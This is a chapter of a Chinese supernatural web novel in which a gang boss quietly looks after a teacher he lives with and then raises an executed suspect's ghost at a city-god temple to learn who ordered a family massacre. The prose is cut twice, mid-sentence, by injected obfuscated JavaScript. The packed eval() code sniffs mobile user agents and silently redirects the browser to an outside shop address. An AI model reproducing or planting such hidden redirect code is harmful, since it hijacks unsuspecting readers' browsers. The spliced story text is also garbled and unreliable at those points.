“就是昨天夜里不是下了一夜雨么,地上就积了水,早上佟月舟走在路上,旁边过了一辆马车,那马车走得快,给他衣服上溅了些泥水,他拿帕子擦了半天,好像是有点不太高兴。”
“您看这算不算细节?”
“哪儿来的马车??谁溅的他!”
这显然是算细节了,霍不归后背一梗,眉毛一下就立起来了。
“去给我查,是谁家的马车!绑了那驾车的混蛋去学堂,给佟月舟道歉去!”
“……等等。”
霍不归说着,立刻又想到了什么,随即跳下杂物堆,绕了几步,手指在空气里敲了敲。
“不行,不行,佟月舟最爱干净了,让他带着一身泥点子上一天课,他肯定得难受坏了。”
“你,这样。”
他吩咐陈江海。
“你去成衣铺,去给佟月舟买身衣服,要长衫,他平时就爱穿长衫,挑好洋布的,颜色要浅色,灰的,青的,白的,他喜欢这些颜色。尽量照着他的身材买,买了给他送到学堂去。”
“别让他知道是你买的,他之前见过你们谁,都小心着别露面。对,你就让那驾车的给送去,就说是道歉的礼物。”
“行嘞,明白了。那……”
陈江海领了吩咐,刚想说什么,又被霍不归打断了。
“对了,还有他的伞。”
霍不归又想起一件事。那天佟月舟的伞破了,回来弄了一身湿,家里倒是还有别的伞,但也都不是什么新的好伞,保不齐哪天就又坏了。
“你再去买点伞,多买,买上五六十把吧,然后找个新来的,眼生的兄弟出面,就说要做善事,把这些伞都捐给学堂,让学堂的先生学生没伞的时候拿着用。”
“记着要买好伞,最好的,结实的,别用两天就坏了。然后让人盯着,确保这伞能让佟月舟拿到,万一没轮到他拿,就再多买送过去。总之他哪天回来要是伞又破了,衣服又湿了,我就拿你是问。”
“行,知道了。”
陈江海又应下了霍不归的指示,等了一会儿,见霍不归好像没什么要说的了,方才又开了口。
“那……老大,官府抓着的那个人,我们是不是也盯一下去?”
陈江海这句说的不是佟月舟的事,他说的是之前官差走家串户,定下的傅家灭门案的嫌疑人。嫌疑人有三个,其中一个前两天已经找到了,倒还真没被灭口,也没逃得天涯海角的不见影儿,费了一番工夫终于是抓到了,现在人就关在大牢里边。经过一番调查,发现这人就是个没家没业的亡命徒,和傅家庄既无怨也无仇,根本就是不相干路人关系。所以现在官差们正在轮番审问他的背后主使到底是谁。
“怎么盯,上牢里头盯去?”
说起这事,霍不归倒是很快沉下了语气,一脸四平八稳,波澜不惊,还不如刚才听到佟月舟身上被溅了泥点子激动。他捻了捻手指间的铜钱,没看陈江海,只是语气淡漠地说着,刚才那个恋爱脑的傻子突然一翻面,就又变成了那个手握阴阳,教人不敢忤逆的大佬霍不归。
“审问这事,交给官府就完了,我们不必插手。你就跟之前一样,打点好官差,让他们随时给你通着消息。若是能审出来,那自然是最好,若是死了都没开口,那就叫他们把尸体存好了,之后的事,就归我管了。”
***
两天后,陈江海便传来了消息:被抓到的那个嫌疑人果然不负众望地噶掉了。
那个幕后主使显然心还不够硬,没能把后患全都绝干净,但这嫌疑人的嘴倒是很硬,很有敬业精神地怎么严刑拷打都没有把背后那人招出来。
谁指使的问不出来,还有两个嫌疑人也找不到,那这案子就还是悬案一桩,不得善了。反正这人早晚也是死罪,于是官差那边一不做二不休,干脆把他提前行了刑,又把尸体保存好,随后通知了陈江海,拜托他赶紧请大仙出山,帮他们来解决这桩万众瞩目的紧要大案。
不过问题是,大仙这个山它有点不好出。
“老大,您看要不要把尸体运到您这边来?”
陈江海问道。
“我哪边?”
霍不归一撩眼皮,看傻子一样地看了眼陈江海。
“运佟月舟家里?让他看着我画符作法?亏你想得出来。”
陈江海的建议自然是行不通的。首先,他不想就在佟月舟身边干这事,其次,他也不想让不知哪来的尸体污了佟月舟的家,再次,即便是他能让佟月舟看不见,也不忌讳尸体污秽,归根结底,有佟月舟这么盛的阳气笼在这户房子里,他的术法实行起来也得困难上好几倍。
“在烟城找个合适的地方,我过去就行了。”
霍不归淡淡说道。
“您过去?您能从这儿出去了?”
陈江海一下子瞪大眼睛。
“我当初能找到这儿来,当然也就能出去。”
只不过就是有点费命火罢了。
命火是转化咒力用的,相当于是各种符咒法术的燃料,而命火存在于施法者身体之中,当然也不是取之不尽用之不竭的,命火熬干了,咒法也就没效力了。
不过霍不归觉得问题不大。他在佟月舟家衣来伸手饭来张口地养了这么久,如今状态绝佳,命火足得很。而且事情发生了这么久,线索也就只有这么一条,如果再不抓紧了这线索抽丝剥茧,那这事还不知道得悬而不决地拖到什么时候去。
这么久了,是该到他冒冒险的时候了。
事情总是要解决的,自己总不能一辈子窝在佟月舟家当傻子。
想到这儿,霍不归心里不知道什么地方,忽然就颤了一下。不过他没多在意,如今面前站的是陈江海,那转在他脑子里的,就主要还是他的赌场和他的生意。
“地方,就定在城隍庙吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813409|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霍不归思考了一下,条理清晰地跟陈江海安排着。
“你通知镇上的官差,今夜子时之前把尸体运到城隍庙,等着我过去。你们提前去庙里,给城隍爷净了大殿,供上香火,用点心,供得旺一点,然后再去准备白烛三根,三尺宽细沙一盘,外加铜笔一支,到时不必来这里接,同样也去城隍庙等我,我子时便到。”
“您一个人过去?”
陈江海有点不放心。虽然他知道他家老大本事大,但他同时也知道,这事可不是像老大说得这么云淡风轻。
出事那晚,霍不归虽然把下属都打发走了,但陈江海其实并没真的离开。他想去帮霍不归的忙,但又唯恐帮不上忙反而添乱,所以就只是远远地跟在后边,只怕什么时候老大招架不住,没人接应。所以那一晚,他是亲眼看着霍不归被追着跑了一晚上的路,作了一晚上的法,好容易等到天亮之后,厉鬼怨气弱下了些,他才能找个地方布上阵喘口气歇一歇。但也没歇太久,便又一个人摸着找着寻到了佟月舟家这边,在巷子中间挑了个地方,将几道符隐在周围,随后头发一捋,直接就趴在了青石板地上。
若不是万不得已实在没招,老大是断不会选择这么体面全无地躲在佟月舟家装傻子的。
陈江海是这样认为的。
那天雨一直在下,老大跑了一夜,淋了一天,最后还浑身透湿地趴在雨里一动不动,整个人就是一个大写的落花流水。
反正自从他开始跟着霍不归,他就没见他老大这么狼狈过。
“要不……我还是过来护着您点吧?”
陈江海嘴唇抿抿,还是多提了一句。
“不用。”
霍不归挥挥手,话说得倒是毫不客气。
“那些东西你又对付不了,你来了,搞不好我还得照顾你。”
“我刚才交代的事,你给我办好了就行,你要是敢来拖我后腿,我就让那些鬼先把你啃了。”
霍不归话糙理不糙,陈江海思忖再三,最后还是听了霍不归的吩咐,着人去通知了镇上官差,又安排好了城隍庙里的洒扫供香,然后点了十个兄弟,入了夜,便和几个官差一起候在了那座已经废弃许久的城隍庙里边。
这座庙已经多年没有过这样的人气了。蛛网破幡被清掉了,地上的泥灰也被扫净了,城隍殿窗纸重新糊过,燃过的檀香味道一阵阵地从殿内悠悠飘散出来。夜幕已深,而院子里却灯火通明地站着一票人,一圈火盆燃在四周,盖着白布的尸体就摆在中间,沙盘铜笔白烛也都备好在一旁,所有人都是郑重严肃,默默无声,恭候着霍大仙屈尊降贵,前来为他们施展他的无限神通。
陈江海望望门口,又叉着腰踱了两步,小声问旁边的下属,“什么时辰了?”
“已经到子时了,海哥。”
“嗯……”
大门静静掩着,不见一点动静。陈江海来回踱着步子,心里又开始打鼓,只怕霍不归路上遇到点什么不测。而正当他实在忍不住想要出去迎一迎的时候,只听砰地一声,庙门被猛地撞开,一个身形高大的男人披了一身乱七八糟的衣服,挂着一头亮晶晶的汗珠,喘着粗气,一个大跨步便迈进了门里。
正是霍不归。
21. 神仙下凡
这个神仙下凡得有点狼狈。
身上那件乱七八糟的衣服是佟月舟的旧长衫,霍不归身量比佟月舟大一号,佟月舟的长衫他穿不上,只能紧巴巴绷着不系扣。腰上绑着两本佟月舟常翻的书,插着一支佟月舟常用的钢笔,但饶是如此,那些蹲了好久揍不到人的厉鬼们,也并没有对他多畏惧上几分。憋了这么多日,厉鬼们似乎比先前更加怨念深重,几个物件上的阳气只唬了少少片刻,血雾般的怨气便向着霍不归大肆狂扑而来,衣服书本被抵不住那怨气的浸染,很快便被蚀去了驱邪的效力。
于是霍不归就又是一路的符咒纷飞你追我逃,好容易按时赶到了城隍庙,命火和体力已然是费去了不少。
“老大!”
“没事吧老大!”
霍不归的手下们看见自家老大出现,纷纷都围了上去,几个镇上护送尸体过来的官差也立刻提起精神,迎上前几步,又站定在离大仙不远的地方等候吩咐。只见霍不归伸手格开想要近身的陈江海和手下,几口喘匀了气,便将身上的长衫小心脱了下来,书本钢笔也从腰间取出,一样一样,依次点燃在一旁的火盆里面。
“这是……佟月舟的衣服?”
陈江海看着那烧了一半的长衫问道。
“嗯。”
霍不归从鼻子里出了个声。
就着火光,明显看得出这长衫已经不似在佟月舟身上时那般清爽洁净。尽管霍不归并没有地上滚泥里爬,但长衫上却已经是脏得斑斑驳驳,隐隐地还透着几分暗沉的血色。书本和钢笔也像被丢弃了多年一般黄的黄,锈的锈,半点看不出今晚之前那尚还干净完好的模样。
霍不归没说话,但心里被怒气憋得已经是快要爆炸的程度。
作为一个手握阴阳的道法大佬,竟然被区区一帮低级厉鬼欺压至此!
这特么的怎么可能!!
这事绝对大有蹊跷,绝对是有人故意做了手脚!!
这人,绝对是冲着他来的!!
霍不归气极,暗地里把同在百岁坊开赌场的、平日里跟他不对付的,不管是不是对不对,总之是连带着他们的祖宗八辈全都臭骂了一遍,但一肚子愤懑仍是没消停多少,而经过这一晚上的情景重现,甚至比刚出事那会儿还叫他不甘不忿,火气上头。
待到找到这一切的罪魁祸首,看不把他的肉一块一块全剜下来吃了!!
霍不归一脸阴云密布,烧完这几样再不能要的东西,又忽地转过身,也不理在一旁小心候着的官差,一把掀开尸体上的白布,朝着那颗青白的脑袋猛地一脚就踢了上去。
尸体脑袋一歪,偏成了一个不正常的角度,颈骨估计是被这一脚踢折了。官差们同时一缩身子,看着那宛如裹了一身闷雷的大仙,大气也不敢出上一口。
谁也不知道大仙烧东西踢尸体到底是个什么法术,几个人下意识后退几步,鹌鹑一样乖乖呆在角落里,生怕大仙法术太生猛,闷雷一劈,再把他们一起都给劈没了。
但陈江海他们看多了,自然知道这不是什么法术,这就是自家老大心情不爽之后的正常泄愤行为。一群下属站成一排,十分淡定地等着霍不归发泄到爽,不过霍不归倒是没在泄愤这事上耽误太久时间,踢完尸体,双手一拉衣襟,算是正好了衣冠,然后从备在一旁的物资里捻起三根香,便抬脚走进了城隍殿内。
烟城的城隍爷是一名唐代的武将,城隍像阔面长髯,头戴金冠,虽然年久失修,神像漆皮已经开始褪色脱落,但眉目间仍然不失那威武庄严的模样。
时间有限,陈江海他们来不及修整太多,只能将大殿各处清扫干净,又在供桌上摆了瓜果点心诸多供品,按照霍不归的吩咐,尽可能将香火供得旺一些。霍不归抬头看向城隍爷,那塑像上披着崭新的黄绸披风,两条绣字缎带整齐搭在塑像身前,显然是陈江海他们新给披上的。
这秤砣脑袋,办事倒还算是妥帖。
霍不归在心里夸了下陈江海,随后把香对着一边烛火点燃,捏着香朝城隍爷拜了拜。
“老大,咱们这临时抱佛脚,好像还真挺有用啊。”
陈江海和几个手下也跟着霍不归进了殿,看着霍不归进完了香。
“有城隍爷在,那些东西还真就没敢再来缠您。”陈江海说。
“跟他有什么关系。”
霍不归把香插进香炉,插得有点随意,三根香都往一边偏着。
“那是老子在外边作了一圈符,拿命火生扛的。”
“生扛?”
陈江海一愣,脑子一下子有点没转过弯。他本以为霍不归指定了城隍庙这地方,就是想让城隍爷替他拦着厉鬼不近身。可听老大话里这意思,是他自己作了符咒,扛住了那些厉鬼的?
那、那老大选城隍庙作法是……
“城隍爷只管阳间人,不管我。”
霍不归似是看出了陈江海想问什么,难得解释了一句,掸掸衣服一背手,跨出了城隍殿门槛。
“城隍爷受了你们香火,就得管好了你们,万一我的符出了岔子,有他在,省得我再分心。”
陈江海顿时惊呆,有心想问一句“只管阳间人不管我”是什么意思,但这会儿显然不太是时候,又觉得该感谢老大为他们考虑得周全,却又觉得老大话语措辞,好像也不是那气氛。而就在他发呆的几秒片刻间,霍不归已然是走下了殿前的台阶,吩咐候在一旁的手下,将那三支白烛点了起来。
陈江海连忙也跨出城隍殿跟了过去。只见霍不归又把那尸体的脑袋踢正了点,将三根点燃的白烛一根摆在尸体头顶上方,另两根摆在左右两肩,然后掏出小刀,毫不客气地割开尸体喉咙,将陈江海备好的铜笔杵进被割开的血口中,转着圈捣鼓了几下。
这支铜笔严格来说并不是笔,是用黄铜铸出来的毛笔形状的法器。一头是笔杆,一头是笔尖,而被霍不归杵进尸体喉咙里的那头,正是笔尖。
“浮生已了,死后皆空。生前没招供,我敬你是条汉子,但如今尘世已与你无关,你那些执念,也没必要再抱着不放了。踏踏实实,好好答我的话,多少也能偿些阴债,给下辈子攒个好点的前程。”
霍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813410|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不归对着那尸体说道,说完,便拿着沾了喉间血铜笔,走到沙盘边盘腿坐了下来。指间黄泉印似乎微微深了一些,霍不归伸起两根青灰色的手指,在两指骨节之间虚虚将铜笔夹起,随后嘴唇微动,不知念了几句什么,那铜笔竟然就带着霍不归的手,在细沙上写写划划起来。
夜静静的,没有一丝风经过,但三根白烛上的烛火却如有灵一般不安跳动着,周围的火盆时不时地发出木炭爆裂的噼啪声,惊扰着似有暗流涌动的寂静。躲在角落里的几个官差睁大眼睛,惊奇地看着这方状似平静却又气氛诡异的场景,脖子伸得老长,却又犹豫着不敢靠近。而陈江海和手下们则立刻就凑了上来,很识相地没挡着老大面前的光亮,一群人就挤在霍不归身后,探头辨认着沙盘上的笔划。
其实对霍不归他们来说,直到现在,也都还不能百分之百认定傅家灭门案和霍不归身上的糟心事就一定有关联。但无奈,这已经是他们排除一切不可能之后,能找到的最靠谱的调查方向了,而且还没有之一。排除法也是法,不查这事,他们也是真没别的可查,于是如今他们的焦点只能和官差们一样集中在这个案件的进展上,或者说是凶手身份来龙去脉上,再具体一点,也就是现在这被霍不归作了法的沙盘,到底能显示出什么字上。
虚夹在指间的铜笔慢慢移动,沾血的笔尖破开平整的细沙,勾勾画画地写出了什么,霍不归扫了一眼,没什么表情,用空闲着的左手将沙盘一抹,重新念了几句,那铜笔便又在新抹平的细沙表面再次移动起来。
“大……”
一旁官差沉不住气,等不及想要问点什么,又被同僚拽拽衣袖,掩下了话端。霍不归没停顿,也不抬眼,只是神情淡漠地看着那沙盘上渐渐完整起来的字样,并不理会旁人急还是不急。陈江海和一群手下敛着声屏着气,只等着老大的术法得出什么结果,而没等太久,就见霍不归降下两指,将铜笔安放一旁,而沙盘上则赫然显现出了一个清晰可辨,却又不算熟悉的名字。
“大仙,是不是……有结果了?”
官差们终于是憋不住了,连忙走上前来,试探着问道。霍不归神色未变,一撑地,站起身,掸干净了手上的灰,方才简单回答道。
“另两个在逃犯,他不知道在哪儿,当初三人是分开逃的,谁也没再联系谁。”
“至于是谁指使他们犯的案,那,就是他了。”
霍不归说完,微微抬起头,看向了半空,官差们赶紧去看沙盘上的字,又下意识顺着霍不归的视线看了过去。
只见在幽黑的夜幕中,一个人形的虚影就飘在霍不归视线的落点处,那人恭顺地低着头,那头似乎还有些不正常的歪斜。官差们不由得瞪大眼睛,又纷纷打眼细看虚影的相貌……
那不就正是躺在地上,又被霍不归踢歪了脑袋的犯人!
“傅家人命债有主,冤屈可伸,临了,算是你做了件好事。”
“行了,走吧,上阴司报到去吧。”
霍不归淡声说道,那虚影听了,又对霍不归欠了欠身,随即便消散在了夜幕中。